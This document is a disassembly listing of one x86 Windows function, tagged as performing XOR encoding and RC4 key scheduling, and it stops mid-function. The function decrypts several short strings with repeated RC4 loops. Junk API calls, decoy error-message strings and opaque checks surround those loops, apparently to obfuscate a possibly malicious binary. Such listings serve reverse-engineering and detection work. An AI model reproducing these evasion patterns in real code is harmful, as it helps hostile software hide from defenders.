Function at 0x65684590
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xb
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0xedb]
mov esi, 0x656ac420
push ebx
sub esp, 0xf0c
cmp byte [str.windows_seven], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xd7b]
mov esi, 0x656ac42b
mov ecx, 0x1f
rep movsb byte es:[edi], byte [esi]
je 0x656845ff
mov dword [esp + 0xc], str.windows_seven
mov eax, dword [0x656a8c10]
mov dword [esp + 4], str.windows_seven
mov dword [esp + 8], eax
mov eax, dword [0x656a8e9c]
mov dword [esp], eax
call fcn.656939c0
add dword [0x656a8e9c], 0x4e69ce20
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov eax, dword [0x656a8c10]
mov edi, dword [0x656a8d80]
lea edx, [eax + 0x2fdee577]
mov dword [str.EKFuD], edx
lea edx, [edi + 0x4ce0afae]
mov dword [0x656a8e9c], edx
xor edx, edx
cmp byte [edx + str.windows_seven], 0
je 0x65684642
inc edx
cmp edx, 0x23a8
jne 0x65684624
xor eax, 0x7c672fc4
mov dword [str.EKFuD], eax
jmp 0x6568464f
xor eax, 0x4b38e04a
cmp edx, 0x12b0
jle 0x6568465e
call fcn.6568f90c
mov eax, dword [0x656a8d80]
or eax, 0x71c2a347
mov dword [0x656a8d80], eax
mov eax, dword [str.EKFuD]
xor eax, 0xeee4c5b8
mov dword [0x656a8c10], eax
mov eax, dword [0x656a8e9c]
xor eax, 0x49a0c308
cmp byte [str.windows_seven], 0
mov dword [str.EKFuD], eax
je 0x6568469a
or eax, 0x249e8120
mov dword [str.EKFuD], eax
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
xor eax, eax
mov byte [ebp + eax - 0xb18], al
inc eax
cmp eax, 0x100
jne 0x6568469c
mov edi, dword [0x656a8e9c]
xor esi, esi
xor ecx, ecx
or edi, 0x7ee3e935
imul eax, edi, 0x92dec727
mov dword [ebp - 0xefc], edi
mov dword [ebp - 0xf00], eax
mov eax, ecx
mov edi, 0x1e
xor edx, edx
mov bl, byte [ebp + ecx - 0xb18]
div edi
movzx eax, byte [ebp + edx - 0xd7b]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xb18]
mov byte [ebp + ecx - 0xb18], al
inc ecx
mov byte [ebp + esi - 0xb18], bl
cmp ecx, 0x100
jne 0x656846cd
mov byte [ebp - 0xa19], al
mov eax, dword [ebp - 0xf00]
mov edi, dword [ebp - 0xefc]
mov byte [ebp + esi - 0xb18], bl
xor esi, esi
xor ebx, ebx
mov dword [0x656a8c10], eax
mov dword [0x656a8d80], edi
xor edi, edi
cmp byte [str.windows_seven], 0
je 0x65684777
mov dword [esp + 0xc], str.windows_seven
mov eax, dword [0x656a8d80]
mov dword [esp + 4], str.windows_seven
mov dword [esp + 8], eax
mov eax, dword [0x656a8c10]
mov dword [esp], eax
call fcn.656939c0
mov eax, dword [0x656a8c10]
xor eax, 0x2010d176
mov dword [0x656a8e9c], eax
mov eax, dword [0x656a8e9c]
inc ebx
movzx ebx, bl
or eax, 0x7aff3e11
mov dword [0x656a8d80], eax
mov eax, dword [str.EKFuD]
sub eax, 0xf317f4c
mov dword [0x656a8e9c], eax
mov al, byte [ebp + ebx - 0xb18]
mov byte [ebp - 0xefc], al
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xb18]
mov byte [ebp + ebx - 0xb18], al
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov edx, str.windows_seven
sub eax, 0x6caadd3f
mov dword [0x656a8c10], eax
mov al, byte [ebp - 0xefc]
mov byte [ebp + esi - 0xb18], al
mov al, byte [edx]
test al, al
je 0x656847f7
sub eax, 0x30
cmp al, 9
jbe 0x656847f4
add dword [0x656a8d80], 0x40d31c47
jmp 0x656847f7
inc edx
jmp 0x656847db
mov eax, dword [0x656a8e9c]
xor eax, 0x52afe62f
mov dword [str.EKFuD], eax
mov dword [esp + 4], str.FeatureError
mov dword [esp], str.EfsClientFreeProtectorList
call fcn.65691940
mov edx, str.windows_seven
mov al, byte [edx]
test al, al
je 0x6568483b
sub eax, 0x30
cmp al, 9
jbe 0x65684838
add dword [0x656a8e9c], 0x77e6dd65
jmp 0x6568483b
inc edx
jmp 0x6568481f
imul ecx, dword [0x656a8e9c], 0xf2be9e4e
mov edx, str.windows_seven
mov dword [0x656a8d80], ecx
mov al, byte [edx]
test al, al
je 0x65684871
sub eax, 0x30
cmp al, 9
jbe 0x6568486e
mov eax, dword [str.EKFuD]
and eax, 0x43f3985b
mov dword [0x656a8c10], eax
jmp 0x65684871
inc edx
jmp 0x65684850
mov edx, dword [str.EKFuD]
mov eax, edx
xor eax, 0xab48a2de
mov dword [0x656a8e9c], eax
mov dword [esp + 8], ecx
mov eax, dword [0x656a8c10]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.65692138
mov al, byte [ebp - 0xefc]
add al, byte [ebp + ebx - 0xb18]
movzx eax, al
mov al, byte [ebp + eax - 0xb18]
xor al, byte [ebp + edi - 0xedb]
movzx eax, al
mov word [ebp + edi*2 - 0xe06], ax
inc edi
cmp edi, 0xb
jne 0x65684739
mov word [ebp - 0xdf0], 0
lea edi, [ebp - 0xeef]
mov esi, 0x656ac44a
xor eax, eax
mov ecx, 0xa
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc72]
mov esi, str.LdrpResSearchResourceMappedFile_Exit
mov ecx, 0x25
rep movsb byte es:[edi], byte [esi]
mov byte [eax + ebp - 0xa18], al
inc eax
cmp eax, 0x100
jne 0x656848fa
xor esi, esi
xor ebx, ebx
mov ecx, 0x24
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0xa18]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xc72]
mov edx, str.windows_seven
add eax, esi
movzx esi, al
mov al, byte [edx]
test al, al
je 0x6568494f
sub eax, 0x30
cmp al, 9
jbe 0x6568494c
xor dword [str.EKFuD], 0x3ff3153
jmp 0x6568494f
inc edx
jmp 0x65684933
mov eax, dword [0x656a8c10]
add eax, 0x78885f72
mov dword [0x656a8e9c], eax
mov dword [esp + 0xc], str.windows_seven
mov edx, dword [0x656a8d80]
mov dword [esp], eax
mov dword [esp + 8], edx
mov dword [esp + 4], str.windows_seven
call fcn.656939c0
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x656849a2
inc eax
cmp eax, 0x7a2
jne 0x65684982
mov eax, dword [0x656a8e9c]
add eax, 0x751e8ddd
mov dword [0x656a8d80], eax
mov al, byte [ebp + esi - 0xa18]
mov byte [ebp + ebx - 0xa18], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0xa18], al
cmp ebx, 0x100
jne 0x6568490d
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0xa18]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0xa18]
mov byte [ebp + edx - 0xa18], al
mov eax, edi
mov byte [ebp + ecx - 0xa18], al
add al, byte [ebp + edx - 0xa18]
movzx eax, al
mov al, byte [ebp + eax - 0xa18]
xor al, byte [ebx + ebp - 0xeef]
movzx eax, al
mov word [ebp + ebx*2 - 0xe2e], ax
inc ebx
cmp ebx, 0xa
jne 0x656849cc
mov word [ebp - 0xe1a], 0
mov edx, str.windows_seven
mov ecx, 0x78
movzx eax, byte [edx]
inc edx
test al, al
je 0x65684a42
add ecx, eax
cmp ecx, 0x1bcf
jbe 0x65684a30
mov eax, dword [str.EKFuD]
lea edi, [ebp - 0xea5]
mov esi, 0x656ac479
xor ebx, ebx
add eax, 0x4d31cec2
mov dword [0x656a8e9c], eax
mov eax, dword [0x656a8c10]
or eax, 0x81cf5e9
mov dword [str.EKFuD], eax
call fcn.6568f90c
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xbc4]
mov esi, 0x656ac489
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
and eax, 0xb7d
mov dword [0x656a8c10], eax
mov eax, dword [0x656a8e9c]
mov edx, eax
xor edx, 0x99a8375a
mov dword [str.EKFuD], edx
xor edx, edx
cmp byte [edx + str.windows_seven], 0
je 0x65684ad2
inc edx
cmp edx, 0xb37
jne 0x65684ab0
imul edx, dword [0x656a8c10], 0x8582861
mov dword [str.EKFuD], edx
imul edx, eax, 0x997a0581
xor eax, 0x104f6858
mov dword [0x656a8e9c], eax
mov dword [0x656a8d80], edx
mov dword [esp + 4], edx
mov dword [esp], str.windows_seven
call fcn.656920d0
mov byte [ebp + ebx - 0x918], bl
inc ebx
cmp ebx, 0x100
jne 0x65684a9b
mov eax, dword [str.EKFuD]
xor esi, esi
xor ebx, ebx
sub dword [0x656a8c10], 0xa734b89
or eax, 0xfaafe38c
mov dword [0x656a8e9c], eax
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65684b49
inc eax
cmp eax, 0x1521
jne 0x65684b27
mov eax, dword [0x656a8e9c]
or eax, 0xecc89f65
mov dword [0x656a8c10], eax
jmp 0x65684b50
cmp eax, 0x823
jle 0x65684b76
mov dword [esp + 0xc], str.windows_seven
mov eax, dword [str.EKFuD]
mov dword [esp + 4], str.windows_seven
mov dword [esp + 8], eax
mov eax, dword [0x656a8d80]
mov dword [esp], eax
call fcn.656939c0
mov eax, dword [str.EKFuD]
mov edi, 0x33
and eax, 0x6917660e
mov dword [0x656a8e9c], eax
imul eax, dword [0x656a8d80], 0x9566810d
mov dword [0x656a8c10], eax
mov dword [esp + 4], str.The_cluster_node_is_not_reachable.
mov dword [esp], 0x656abe14
call fcn.65691940
mov eax, ebx
xor edx, edx
mov cl, byte [ebp + ebx - 0x918]
div edi
mov al, byte [ebp + edx - 0xbc4]
add eax, ecx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x918]
mov byte [ebp + ebx - 0x918], al
inc ebx
mov byte [ebp + esi - 0x918], cl
cmp ebx, 0x100
jne 0x65684b25
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0x918]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0x918]
mov byte [ebp + edx - 0x918], al
mov eax, edi
mov byte [ebp + ecx - 0x918], al
add al, byte [ebp + edx - 0x918]
movzx eax, al
mov al, byte [ebp + eax - 0x918]
xor al, byte [ebx + ebp - 0xea5]
movzx eax, al
mov word [ebp + ebx*2 - 0xd5c], ax
inc ebx
cmp ebx, 0x10
jne 0x65684bf0
lea edi, [ebp - 0xe75]
mov esi, 0x656ac4bd
mov ecx, 0x11
mov word [ebp - 0xd3c], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xe41]
mov esi, str.Microsoft_Himalaya
mov ecx, 0x13
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x656a8e9c]
or eax, 0xff70084c
mov dword [0x656a8c10], eax
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65684ca1
inc eax
cmp eax, 0x1385
jne 0x65684c7f
mov eax, dword [0x656a8d80]
or eax, 0x6005b62b
mov dword [0x656a8c10], eax
jmp 0x65684ca8
cmp eax, 0x1b4
jle 0x65684ccd
mov dword [esp + 4], str.WMRSendMessageString
mov dword [esp], str.Security_System_Capability_
call fcn.65691940
mov eax, dword [0x656a8e9c]
and eax, 0x45b9f67f
mov dword [0x656a8c10], eax
jmp 0x65684ce2
mov eax, dword [0x656a8d80]
and eax, 0xdc9c2f28
mov dword [str.EKFuD], eax
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
sub dword [str.EKFuD], 0x80e0341
xor ebx, ebx
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65684d16
inc eax
cmp eax, 0x13e
jne 0x65684cf0
call fcn.65691610
or dword [str.EKFuD], 0x373c3cf1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x656a8e9c]
imul edx, eax, 0xcb5dbb60
and eax, 0x7c743209
mov dword [0x656a8c10], eax
mov dword [str.EKFuD], edx
mov dword [esp + 4], str.The_stub_received_bad_data.
mov dword [esp], str.Unable_to_Contact_the_Global_Catalog_Server.
call fcn.65692e04
mov edx, str.windows_seven
mov ecx, 0x4c1
movzx eax, byte [edx]
inc edx
test al, al
je 0x65684d75
add ecx, eax
cmp ecx, 0xb53
jbe 0x65684d4f
call fcn.65691610
mov eax, dword [str.EKFuD]
and eax, 0xc039e31b
mov dword [0x656a8c10], eax
mov eax, dword [0x656a8d80]
add eax, 0x333d4729
mov dword [0x656a8e9c], eax
mov eax, dword [0x656a8c10]
xor eax, 0xc6a24df0
mov dword [str.EKFuD], eax
mov dword [esp + 0xc], str.windows_seven
mov dword [esp + 8], eax
mov dword [esp + 4], str.windows_seven
mov dword [esp], eax
call fcn.656939c0
mov byte [ebp + ebx - 0x818], bl
inc ebx
cmp ebx, 0x100
jne 0x65684cee
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov edi, 0x12
xor edx, edx
mov cl, byte [ebp + ebx - 0x818]
div edi
mov byte [ebp - 0xefc], cl
movzx eax, byte [ebp + edx - 0xe41]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
mov eax, dword [0x656a8c10]
add eax, 0x50b72766
mov dword [0x656a8d80], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov al, byte [ebp + esi - 0x818]
mov cl, byte [ebp - 0xefc]
or dword [0x656a8e9c], 0x20b98b6
mov byte [ebp + ebx - 0x818], al
inc ebx
mov byte [ebp + esi - 0x818], cl
cmp ebx, 0x100
jne 0x65684dc7
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65684e59
inc eax
cmp eax, 0x69
jne 0x65684e36
call fcn.65691610
mov eax, dword [0x656a8e9c]
and eax, 0x39254bc5
mov dword [str.EKFuD], eax
imul eax, dword [0x656a8c10], 0x50fe8469
xor edi, edi
xor esi, esi
xor ebx, ebx
mov dword [0x656a8d80], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x656a8c10]
sub eax, 0x244b6850
mov dword [str.EKFuD], eax
mov eax, dword [0x656a8d80]
and eax, 0x49f7593
mov dword [0x656a8c10], eax
call dword [sym.imp.USER32.dll_AnyPopup]
inc ebx
xor eax, 0xd47d54ba
movzx ebx, bl
lea edx, [eax - 0x85f9f33]
mov dword [0x656a8c10], eax
mov al, byte [ebp + ebx - 0x818]
mov dword [str.EKFuD], edx
lea ecx, [eax + esi]
movzx esi, cl
mov cl, byte [ebp + esi - 0x818]
mov byte [ebp + ebx - 0x818], cl
mov byte [ebp + esi - 0x818], al
add al, byte [ebp + ebx - 0x818]
movzx eax, al
mov al, byte [ebp + eax - 0x818]
xor al, byte [ebp + edi - 0xe75]
movzx eax, al
mov word [ebp + edi*2 - 0xcfc], ax
inc edi
cmp edi, 0x11
jne 0x65684e92
mov ebx, dword [0x656a8d80]
lea edi, [ebp - 0xeb4]
mov esi, 0x656ac4e1
xor eax, eax
mov word [ebp - 0xcda], 0
mov ecx, 0xf
rep movsb byte es:[edi], byte [esi]
and ebx, 0x28800
lea edi, [ebp - 0xdb7]
mov esi, 0x656ac4f0
mov dword [0x656a8c10], ebx
mov ecx, 0x1e
rep movsb byte es:[edi], byte [esi]
mov edi, edx
xor esi, esi
or edi, 0x4bc30cd7
mov ecx, str.windows_seven
mov dl, byte [ecx]
test dl, dl
je 0x65684f67
sub edx, 0x30
cmp dl, 9
jbe 0x65684f64
mov ebx, edi
mov esi, 1
jmp 0x65684f67
inc ecx
jmp 0x65684f4d
mov byte [ebp + eax - 0x718], al
inc eax
cmp eax, 0x100
jne 0x65684f48
mov eax, ebx
or eax, 0xd94d0707
mov dword [0x656a8d80], eax
mov eax, esi
test al, al
je 0x65684f8e
mov dword [0x656a8c10], ebx
mov eax, dword [0x656a8e9c]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0xefc], eax
or eax, 0x516372a2
mov dword [0x656a8e9c], eax
mov al, byte [ebp + ecx - 0x718]
mov edi, 0x1d
xor edx, edx
mov byte [ebp - 0xf00], al
mov eax, ecx
div edi
movzx eax, byte [ebp + edx - 0xdb7]
movzx edx, byte [ebp - 0xf00]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x718]
mov byte [ebp + ecx - 0x718], al
mov al, byte [ebp - 0xf00]
inc ecx
mov byte [ebp + esi - 0x718], al
cmp ecx, 0x100
jne 0x65684fa7
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x6568500e
inc eax
cmp eax, 0x2240
jne 0x65684ffb
jmp 0x65685015
cmp eax, 0x150c
jle 0x6568502f
mov edi, dword [ebp - 0xefc]
and edi, 0x9edd1682
or edi, 0x10411282
mov dword [0x656a8c10], edi
jmp 0x65685041
and ebx, 0x652b1160
or ebx, 0x41090100
mov dword [0x656a8e9c], ebx
mov eax, dword [0x656a8c10]
xor edi, edi
xor esi, esi
xor ebx, ebx
and eax, 0xe8dee6ca
mov dword [str.EKFuD], eax
inc ebx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x718]
mov byte [ebp - 0xefc], al
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x718]
mov byte [ebp + ebx - 0x718], al
mov al, byte [ebp - 0xefc]
mov byte [ebp + esi - 0x718], al
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x656850ab
inc eax
cmp eax, 0x20b8
jne 0x65685089
call fcn.65693958
and dword [str.EKFuD], 0x7bbffdd9
jmp 0x656850b2
cmp eax, 0x873
jle 0x656850d7
mov dword [esp + 4], 0x656abf70
mov dword [esp], str.System_could_not_allocate_required_space_in_a_registry_log.
call fcn.65692e04
mov eax, dword [0x656a8c10]
and eax, 0x97243637
mov dword [0x656a8d80], eax
jmp 0x656850e6
mov eax, dword [0x656a8d80]
sub eax, 0x24316543
mov dword [str.EKFuD], eax
mov eax, dword [0x656a8d80]
mov edx, eax
and edx, 0x77716d73
mov dword [0x656a8e9c], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetParent]
push ecx
mov al, byte [ebp - 0xefc]
add al, byte [ebp + ebx - 0x718]
movzx eax, al
mov al, byte [ebp + eax - 0x718]
xor al, byte [ebp + edi - 0xeb4]
movzx eax, al
mov word [ebp + edi*2 - 0xdd6], ax
inc edi
cmp edi, 0xf
jne 0x65685056
lea edi, [ebp - 0xec1]
mov esi, 0x656ac50e
mov ecx, 0xd
cmp byte [str.windows_seven], 0
mov word [ebp - 0xdb8], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xcb8]
mov esi, str.No_applicable_app_licenses_found.
mov ecx, 0x22
rep movsb byte es:[edi], byte [esi]
je 0x6568519a
mov eax, dword [0x656a8c10]
mov dword [esp + 8], eax
mov eax, dword [0x656a8d80]
mov dword [esp + 4], eax
mov eax, dword [str.EKFuD]
mov dword [esp], eax
call fcn.65692138
imul eax, dword [0x656a8d80], 0xd74204fa
mov dword [str.EKFuD], eax
mov eax, dword [str.EKFuD]
mov edx, eax
and eax, 0x13f53a08
or edx, 0x43e0393e
or eax, 0x3e03808
mov dword [str.EKFuD], edx
mov dword [0x656a8e9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
and dword [0x656a8d80], 0xf56696e7
and eax, 0x26e95445
cmp byte [str.windows_seven], 0
mov dword [0x656a8c10], eax
je 0x65685202
mov dword [esp + 4], 0x656ac00e
mov dword [esp], str.There_is_insufficient_account_information_to_log_you_on.
call fcn.65692e04
mov eax, dword [0x656a8e9c]
add eax, 0x6884ecdd
mov dword [0x656a8c10], eax
mov eax, dword [0x656a8d80]
or dword [str.EKFuD], 0xebbdcf52
mov edx, eax
and edx, 0xf788b7e4
mov dword [0x656a8e9c], edx
mov dword [esp], eax
mov dword [esp + 0xc], str.windows_seven
mov dword [esp + 8], edx
mov dword [esp + 4], str.windows_seven
call fcn.656939c0
xor eax, eax
mov byte [eax + ebp - 0x618], al
inc eax
cmp eax, 0x100
jne 0x6568523d
xor esi, esi
xor ebx, ebx
mov ecx, 0x21
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x618]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xcb8]
add eax, esi
movzx esi, al
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x65685293
inc eax
cmp eax, 0x135c
jne 0x65685273
call fcn.65691610
sub dword [0x656a8c10], 0x589a5ae
mov eax, dword [str.EKFuD]
or eax, 0x3cc33c2b
mov dword [0x656a8d80], eax
mov eax, dword [0x656a8e9c]
and eax, 0x38e0cf2d
mov dword [str.EKFuD], eax
mov al, byte [ebp + esi - 0x618]
mov byte [ebp + ebx - 0x618], al
mov dword [esp], 0xd0c
call dword [sym.imp.USER32.dll_GetTopWindow]
and eax, 0xc50a709f
push edx
cmp byte [str.windows_seven], 0
mov dword [0x656a8d80], eax
je 0x656852ea
xor eax, 0xca566bef
mov dword [0x656a8c10], eax
mov eax, dword [str.EKFuD]
mov dword [esp], str.windows_seven
inc ebx
mov dword [esp + 4], eax
call fcn.656920d0
mov eax, dword [str.EKFuD]
mov dword [ebp - 0xf00], eax
imul eax, eax, 0x9f3e7033
mov dword [0x656a8c10], eax
imul eax, dword [0x656a8d80], 0x89b67ada
mov dword [ebp - 0xefc], eax
mov dword [0x656a8d80], eax
mov eax, edi
mov byte [ebp + esi - 0x618], al
cmp ebx, 0x100
jne 0x65685250
mov al, byte [str.windows_seven]
mov byte [ebp - 0xf01], 0
xor esi, esi
xor ecx, ecx
mov byte [ebp - 0xf02], al
xor eax, eax
imul edi, dword [ebp - 0xefc], 0xf5b728a0
inc eax
movzx eax, al
mov bl, byte [ebp + eax - 0x618]
add ecx, ebx
movzx ecx, cl
mov dl, byte [ebp + ecx - 0x618]
mov byte [ebp + eax - 0x618], dl
mov byte [ebp + ecx - 0x618], bl
add bl, byte [ebp + eax - 0x618]
movzx edx, bl
cmp byte [ebp - 0xf02], 0
mov bl, byte [ebp + edx - 0x618]
je 0x656853c0
mov edx, dword [ebp - 0xf00]
mov byte [ebp - 0xf01], 1
add edx, 0x5bba0226
imul edx, edx, 0x3f164117
mov dword [ebp - 0xf08], edx
xor bl, byte [esi + ebp - 0xec1]
mov edx, edi
xor edx, 0x12632489
movzx ebx, bl
mov dword [ebp - 0xefc], edx
or edx, 0x7ede803
mov word [ebp + esi*2 - 0xdf0], bx
inc esi
mov dword [ebp - 0xf00], edx
cmp esi, 0xd
jne 0x65685358
mov eax, dword [ebp - 0xefc]
cmp byte [ebp - 0xf01], 0
mov dword [str.EKFuD], edx
mov dword [0x656a8c10], edi
mov dword [0x656a8d80], eax
je 0x65685421
mov eax, dword [ebp - 0xf08]
mov dword [0x656a8e9c], eax
lea edi, [ebp - 0xee5]
mov esi, 0x656ac53d
mov ecx, 0xa
mov word [ebp - 0xdd6], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc4d]
mov esi, 0x656ac547
mov ecx, 0x29
rep movsb byte es:[edi], byte [esi]
mov edx, str.windows_seven
mov al, byte [edx]
test al, al
je 0x65685474
sub eax, 0x30
cmp al, 9
jbe 0x65685471
mov eax, dword [0x656a8e9c]
sub eax, 0x75ae9c15
mov dword [0x656a8c10], eax
jmp 0x65685474
inc edx
jmp 0x65685453
imul eax, dword [0x656a8c10], 0xde21a3a8
mov dword [0x656a8c10], eax
mov dword [esp + 4], str.Unable_to_open_main_database__S
mov dword [esp], str.Device_Insufficient_Resources
call fcn.65692e04
mov edx, dword [0x656a8d80]
mov ecx, str.windows_seven
lea eax, [edx + 0x7c345f6d]
mov dword [0x656a8e9c], eax
mov al, byte [ecx]
test al, al
je 0x656854cb
sub eax, 0x30
cmp al, 9
jbe 0x656854c8
imul edx, edx, 0x8284e07f
mov dword [0x656a8e9c], edx
jmp 0x656854cb
inc ecx
jmp 0x656854ad
and dword [0x656a8e9c], 0xc316cddf
call fcn.6568f90c
cmp byte [str.windows_seven], 0
je 0x656854ef
mov dword [esp], str.A_duplicate_name_exists_on_the_network.
call fcn.65693f48
call fcn.65693958
xor eax, eax
mov byte [ebp + eax - 0x518], al
inc eax
cmp eax, 0x100
jne 0x656854f6
mov edi, dword [0x656a8e9c]
xor esi, esi
xor ecx, ecx
lea eax, [edi + 0x580f2bd8]
mov dword [ebp - 0xf00], eax
mov dword [0x656a8d80], eax
imul eax, edi, 0x1410d1ea
mov dword [0x656a8c10], eax
mov al, byte [ebp + ecx - 0x518]
mov ebx, 0x28
xor edx, edx
mov byte [ebp - 0xefc], al
mov eax, ecx
div ebx
mov bl, byte [ebp - 0xefc]
movzx eax, byte [ebp + edx - 0xc4d]
movzx edx, byte [ebp - 0xefc]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x518]
mov byte [ebp + ecx - 0x518], al
inc ecx
mov byte [ebp + esi - 0x518], bl
cmp ecx, 0x100
jne 0x6568552b
mov edx, dword [ebp - 0xf00]
sub edi, 0x66257e3b
mov byte [ebp - 0x419], al
mov dword [str.EKFuD], edi
xor edi, edi
xor edx, 0x2e89fc55
mov byte [ebp + esi - 0x518], bl
xor esi, esi
xor ebx, ebx
mov dword [0x656a8e9c], edx
inc ebx
mov ecx, str.windows_seven
movzx ebx, bl
mov al, byte [ebp + ebx - 0x518]
mov byte [ebp - 0xefc], al
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x518]
mov byte [ebp + ebx - 0x518], al
mov al, byte [ecx]
test al, al
je 0x656855f8
sub eax, 0x30
cmp al, 9
jbe 0x656855f5
mov eax, dword [0x656a8d80]
and eax, 0xbb324555
mov dword [0x656a8e9c], eax
jmp 0x656855f8
inc ecx
jmp 0x656855d7
mov eax, dword [str.EKFuD]
xor eax, 0xa9b4d25e
mov dword [0x656a8d80], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub eax, 0x33500615
mov dword [0x656a8d80], eax
mov dword [esp + 4], str.Industry_Tablet
mov dword [esp], str.Microsoft.Windows.Wil.FeatureLogging
call fcn.65692e04
mov al, byte [ebp - 0xefc]
cmp byte [str.windows_seven], 0
mov byte [ebp + edi - 0x518], al
je 0x65685650
mov eax, dword [0x656a8e9c]
or eax, 0xe30405aa
mov dword [0x656a8d80], eax
mov eax, dword [0x656a8d80]
mov ecx, eax
and eax, 0xb70f381f
or ecx, 0x59afaebe
or eax, 0x110f281e
mov dword [str.EKFuD], ecx
mov dword [0x656a8c10], eax
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov cl, byte [ebp - 0xefc]
add cl, byte [ebp + ebx - 0x518]
movzx ecx, cl
mov eax, dword [0x656a8d80]
mov cl, byte [ebp + ecx - 0x518]
xor cl, byte [ebp + esi - 0xee5]
movzx ecx, cl
and eax, 0xcc36b8fa
mov word [ebp + esi*2 - 0xe1a], cx
inc esi
mov dword [0x656a8d80], eax
cmp esi, 0xa
jne 0x656855ae
imul edx, eax, 0x1e3d3da7
lea edi, [ebp - 0xe64]
mov esi, 0x656ac570
mov word [ebp - 0xe06], 0
mov ecx, 0x11
imul eax, eax, 0xcfae12d1
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb56]
mov esi, 0x656ac581
mov ecx, 0x3e
rep movsb byte es:[edi], byte [esi]
mov dword [0x656a8e9c], edx
mov dword [ebp - 0xefc], eax
mov dword [0x656a8c10], eax
xor eax, eax
mov byte [ebp + eax - 0x418], al
inc eax
cmp eax, 0x100
jne 0x65685706
xor esi, esi
xor ecx, ecx
mov eax, ecx
mov edi, 0x3d
xor edx, edx
mov bl, byte [ebp + ecx - 0x418]
div edi
movzx eax, byte [ebp + edx - 0xb56]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ecx - 0x418], al
inc ecx
mov byte [ebp + esi - 0x418], bl
cmp ecx, 0x100
jne 0x65685719
mov edi, dword [ebp - 0xefc]
mov byte [ebp - 0x319], al
mov byte [ebp + esi - 0x418], bl
xor esi, esi
xor ebx, ebx
and edi, 0xcf465b8b
mov dword [str.EKFuD], edi
xor edi, edi
xor eax, eax
cmp byte [eax + str.windows_seven], 0
je 0x656857b7
inc eax
cmp eax, 0x17eb
jne 0x65685782
mov eax, dword [0x656a8c10]
mov dword [esp], str.windows_seven
mov dword [esp + 4], eax
call fcn.656920d0
mov eax, dword [0x656a8e9c]
xor eax, 0x186d5f7e
mov dword [str.EKFuD], eax
mov eax, dword [str.EKFuD]
inc ebx
movzx ebx, bl
mov edx, eax
and edx, 0xa0ac6594
mov dword [0x656a8c10], edx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.65692138
mov eax, dword [str.EKFuD]
mov cl, byte [ebp + ebx - 0x418]
imul edx, eax, 0xae0e71bb
cmp byte [str.windows_seven], 0
mov byte [ebp - 0xefc], cl
mov dword [0x656a8e9c], edx
lea edx, [ecx + esi]
movzx esi, dl
je 0x6568581d
mov edx, dword [0x656a8d80]
xor edx, 0xb546d9dd
mov dword [0x656a8e9c], edx
imul eax, eax, 0x5faf02be
or dword [0x656a8d80], 0x4b9b020f
mov dword [str.EKFuD], eax
call fcn.65691610
cmp byte [str.windows_seven], 0
je 0x65685854
mov dword [esp + 4], str.The_manifest_file_contains_one_or_more_syntax_errors.
mov dword [esp], str.AslFileMappingGetImageTypeEx_failed___x_
call fcn.65692e04
mov eax, dword [str.EKFuD]
lea edx, [eax - 0x61aa0e22]
mov dword [0x656a8d80], edx
mov dword [esp], eax
mov dword [esp + 0xc], str.windows_seven
